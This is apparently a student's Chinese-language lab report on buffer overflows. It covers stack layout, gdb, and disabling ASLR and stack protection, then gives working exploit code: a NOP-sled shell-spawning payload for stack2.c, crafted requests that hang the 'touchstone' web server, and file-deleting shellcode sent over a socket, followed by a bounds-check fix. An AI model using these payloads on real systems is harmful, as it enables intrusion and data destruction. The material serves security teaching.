本实验是关于缓冲区溢出的原理以及如何利用缓冲区溢出漏洞进行攻击,分为以下十个练习:
Part A:buffer overflow principal
- Exercise1:output 3 addresses
- Exercise2:use gdb
- Exercise3:turn off ASLR and output addresses again
- Exercise4:print value of %eip when program crashes
- Exercise5:about function badman
- Exercise6:attack stack2.c with shellcode offered
Part B:buffer overflows in the touchstone web server
- Exercise7:find vulnerability in server's code
- Exercise8:crash the web server
- Exercise9:delete file in the server's directory with shellcode
Part C:fixing buffer overflow
- Exercise10:fix the buffer overflow vulnerabilities
在计算机中,通常使用如下图所示的栈数据结构来控制函数的调用(call)和返回(ret),可以看到我们有一个12字节大小的缓冲区buf,在内存中,缓冲区再往上面依次存放了old-ebp,return address等,对于C语言里众多不执行边界检查的函数,如strcpy,strcat等,使用中很容易造成缓冲区溢出,即old-ebp,retrun address被其它数据覆盖,从而改变程序执行过程。
Exercise 1:
根据如下代码,打印出buffer数组的地址,其中注释部分便是加入的代码,编译并运行程序三次,结果如下图所示,可以看到三次分配给func函数里buffer数组的地址各不相同。
#include <stdlib.h> #include <stdio.h> #include <string.h> void badman() { printf("I am the bad man\n"); return; } int func(char *str) { int variable_a; char buffer[12]; //printf("%p->%p\n",buffer,buffer+11); strcpy(buffer, str); return 1; } int main(int argc, char **argv) { char *buf = "hello\n"; if(argc > 1){ buf = argv[1]; } func(buf); printf("Returned Properly\n"); return 1; }
Exercise2:
学习基本的gdb调试指令:
- b用于设置断点,这里在func入口处设置断点,然后r开始运行,可以看到程序会在func入口处停止运行;
- info r用于显示各寄存器的值,对应的可以用i r register显示某个特定寄存器的值,如i r $ebp显示寄存器ebp的值,即当前函数值的栈底指针;
- x/… addr指令用于取addr所存的值,可以指定输出形式,如x/4wx是以x(hex)形式从指定地址往后打印4个w(4字节一组),还有诸如x/bx,x/10i,x/2s等格式;
- disass func显示func函数对应的汇编指令以及指令在内存中的地址;
- 可以用p打印变量信息,如p badman打印badman函数的入口地址;
- set命令可以设置变量,地址等的值。
Exercise3:
关闭ASLR,即地址空间随机化机制:
在终端运行sudo sysctl -w kernel.randomize_va_space=0,将其设为0即可,然后我们再运行三次stack1.c,如下图所示,可以看到buffer的地址是相同的。
Exercise4:
运行stack1.c时输入一串字符串作为其参数,增加字符串长度,使程序缓冲区溢出,用gdb查看溢出时eip寄存器的值。
为了查看缓冲区溢出时eip的值,我们需要关闭栈保护机制,否则缓冲区溢出会被检测到,系统会调用保护函数,此时我们不能看到预期中的eip的值,关闭方法是加-fno-stack-protector参数编译stack1.c
gcc -g -fno-stack-protector -o stack1 stack1.c
用gdb调试stack1,用set args aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa给程序设置参数,然后运行,程序将会出错,此时用i r $eip查看eip寄存器的值,结果如下图所示,程序崩溃是eip的值是0x61616161,即我们的参数覆盖了返回地址。
Exercise5:
如上图所示
- 0xffffd82c即存放return address的内存地址($ebp+4);
- set *0xffffd82c=0x0804842b即把这个内存的值改为badman函数的入口地址,那么当func函数结束执行ret语句时,会执行pop %eip,把这个值存到eip,所以接下去程序会跑到badman函数继续执行;
- badman函数不是经过正常的函数调用而执行的,也就是说没有执行call指令,把return address入栈,当badman函数结束时,会执行ret语句,把栈顶的值给eip,在这里,这个值是0x08048556,是func函数的参数,是程序数据段的一个地址,所以程序出现了段错误。
- 解决方法是在set *0xffffd82c=0x0804842b后加一句set *0xffffd830=08048496,即把本来func函数的返回地址填入badman执行完后将去取值的那个内存,那么当程序从badman返回,会继续执行main函数里剩下的内容。
Exercise6:
在如下stack2.c添加代码,运行后弹出一个shell,其中shellcode已经提供。其中我们仿效Alpha One的做法,把shellcode放在缓冲区的中间部分,前面填充NOP(0x90),后面部分全部放地址,使其能够覆盖return address。
用以下指令编译stack2.c:
gcc -g -z execstack -fno-stack-protector -o stack2 stack2.c
因为我们关闭了栈保护,所以我们可以猜测出func函数的buffer地址在main函数buffer下方140字节,我们便使用这个地址来填充,运行stack2,发现shell成功弹出,说明缓冲区溢出成功。
#include <stdlib.h> #include <stdio.h> #include <string.h> char shellcode[]= "\x31\xc0" "\x50" "\x68""//sh" "\x68""/bin" "\x89\xe3" "\x50" "\x53" "\x89\xe1" "\x99" "\xb0\x0b" "\xcd\x80" ; // size = 24 int func(char *str) { char buffer[128]; /* fill code in here: */ strcpy(buffer, str); return 1; } int main(int argc, char**argv) { char buffer[1024]; /* Construct an attack shellcode to pop a shell. * You should put your shellcode into the "buffer" array, and * pass the "buffer" to the function "func". * Your code here: */ int addr = (int)(buffer-140);//关闭栈保护后,这个地址就是func函数buffer数组起始地址,我们不妨直接使用这个地址 int *ptr = (int*)buffer; int i; for(i=0;i<1024;i+=4){ *ptr = addr; ptr++; } char *nop_ptr = buffer; for(i=0;i<128/2;++i) *(nop_ptr++) = 0x90; nop_ptr = buffer+(128/2-strlen(shellcode)/2); for(i=0;i<strlen(shellcode);++i) *(nop_ptr++) = shellcode[i]; func(buffer); printf("Returned Properly\n"); return 1; }
Exercise7:
阅读server代码,寻找其中的漏洞,尤其注意parse.c。
找到两个漏洞,主要在以下代码中:
服务器是由socket实现的,我们可以把服务器和客户端两端视作两个文件,getChar就是服务器从客户端socket里读取一个字符,getToken是读取一段以空格' '或'\r\n'结尾的字符串,其中getToken会调用getChar读取一个字符,然后存到s数组中。这里有两个漏洞:
- getToken函数对' '和'\r\n'以外字符直接进行存储,并且都不经过数组边界检查,所以s数组是很容易溢出的,而且当遇到'\r'时,如果后面没有'\n',输入的字符也会被一概存入s;
- s数组溢出之后不仅可以修改return address从而改变程序执行流,而且可以修改参数fd,比如我们可以将其改为0,那么当getToken再调用getChar时,read函数会去标准输入读取字符,这样就可以使服务器端程序停住,而客户端浏览器处于”死等“状态。
char getChar (int fd) { int n; char c; char *info; n = read (fd, &c, 1);//如果fd等于0,将等待标准输入 /*******/
} void getToken (int fd, int sepBySpace) { i = 0; char s[1024]; /*********/ while (1){ switch (c){ case ' ': if (sepBySpace){ if (i){ char *p; int kind; // remember the ' ' ahead = A_SPACE; s[i] = '\0'; p = malloc (strlen(s)+1); strcpy (p, s); kind = Token_getKeyWord (p); if (kind>=0){ Token_new (token, kind, 0); return; } Token_new (token, TOKEN_STR, p); return; } Token_new(token, TOKEN_SPACE, 0); return; } s[i++] = c; break; case '\r':{ char c2; c2 = getChar (fd); if (c2=='\n'){ if (i){ char *p; int kind; // remember the ' ' ahead = A_CRLF; s[i] = '\0'; p = malloc (strlen(s)+1); strcpy (p, s); kind = Token_getKeyWord (p); if (kind>=0){ Token_new (token, kind, 0); return; } Token_new (token, TOKEN_STR, p); return; } Token_new(token, TOKEN_CRLF, 0); return; } s[i++] = c; s[i++] = c2; break; } default: s[i++] = c; break; } c = getChar (fd); } return; }
Exercise8:
对于以上找到的漏洞,在browser.c中添加请求字符串,达到crash sever的目的,效果是客户端一直处于等待response的状态。
攻击的关键在于找到返回地址所在的地址,我们可以用gdb调试的方法找到这个地址,也可以在parse.c中输出s和fd的地址,那么ret就在&fd这个地址,这里之所以还要找到s的地址是因为,返回地址的下一个字存放的是fd,我们如果改变了fd,那么调用getChar时,read函数不再是去客户端socket读取值,而是根据文件描述符fd去其它文件读了。
- 编写一个无限循环的shellcode,如
while(1);
编译后用objdump可以查看其机器码,我们可以看到是eb fe,我们将NOP,shellcode,addr分别填入大小为&fd-s的数组,
还有一个关键处是我们还要在数组最后加一个' ',这是getToken函数的出口之一,另一个是'\r\n'.
将shellcode代码存入缓冲区,在最后一个字节填入' ',具体的代码如下:
char req[1065]; int i; for(i=0;i<1064;++i) req[i] = 0; for(i=0;i<strlen(shellcode);++i) req[i] = shellcode[i]; *((int*)(req+1060)) = 0xbffff9e8;//该地址为getToken的s数组地址 req[1064] = ' '; write(sock_client,req,1065);
2.根据找到的另一漏洞,我们可以不用shellcode,达到同样的效果,就是将fd的内容改为0,让read函数等待标准输入,代码如下:
char req[1069]; int i; for(i=0;i<1068;++i) req[i] = 0; req[1068] = ' '; write(sock_client,req,1069);
效果如下:
Exercise9:
用shellcode攻击server,删除其文件。
对create-shellcode.c中的如下代码段稍作修改即可得到我们自己的删除文件的shellcode,我们将push字段的文件路径ASSIC码改成我们自己路径的ASSIC码,编译运行该c文件就可以生成我们需要的shellcode。
我的文件目录是/home/ubuntu/abc.txt,对应的shellcode是
char shellcode[]= "\x31\xc0\x50\x68\x2e" "\x74\x78\x74\x68\x2f" "\x61\x62\x63\x68\x75" "\x6e\x74\x75\x68\x65" "\x2f\x75\x62\x68\x2f" "\x68\x6f\x6d\x89\xe3" "\xb0\x0a\xcd\x80\x31" "\xdb\xb0\x01\xcd\x80";//size 40 bytes
__asm__(".globl mystart\n" "mystart:\n" "xor %eax,%eax\n" /* \x31\xc0 */ "push %eax\n" /* \x50 */ "push $0x7478742e\n" /* \x68 ".txt" */ "push $0x612f6965\n" /* \x68 "ei/a" */ "push $0x6c676e61\n" /* \x68 "angl" */ "push $0x696a2f65\n" /* \x68 "e/ji" */ "push $0x6d6f682f\n" /* \x68 "/home"*/ "mov %esp,%ebx\n" "mov $0xa,%al\n" "int $0x80\n" "xor %ebx,%ebx\n" "mov $0x1,%al\n" "int $0x80\n" ".globl end\n" "end:\n" "leave\n" "ret\n" );
在broswer.c中我们用如下代码填充我们的缓冲区,在server的/home/ubuntu/目录下创建abc.txt文件,运行我们的broswer程序之后,可以发现abc.txt被成功删除。
char req[1065]; long *ptr,*addr_ptr; addr_ptr = (long*)0xbffff9f8; int i; ptr = (long*)req; for(i=0;i<1064;i+=4) *(ptr++) = addr_ptr; for(i=0;i<1024/2;++i) req[i] = 0x90; char *pptr = req+1024/2-strlen(shellcode)/2; for(i=0;i<strlen(shellcode);++i) *(pptr++) = shellcode[i]; req[1064] = ' '; write(sock_client,req,1065);
Exercise10:
修复漏洞,因为漏洞的存在是因为s数组可以溢出,那么我们只需要在每次向s数组写入时检查i的大小是否小于1024,如果小于1024,则可以写入,否则不予写入。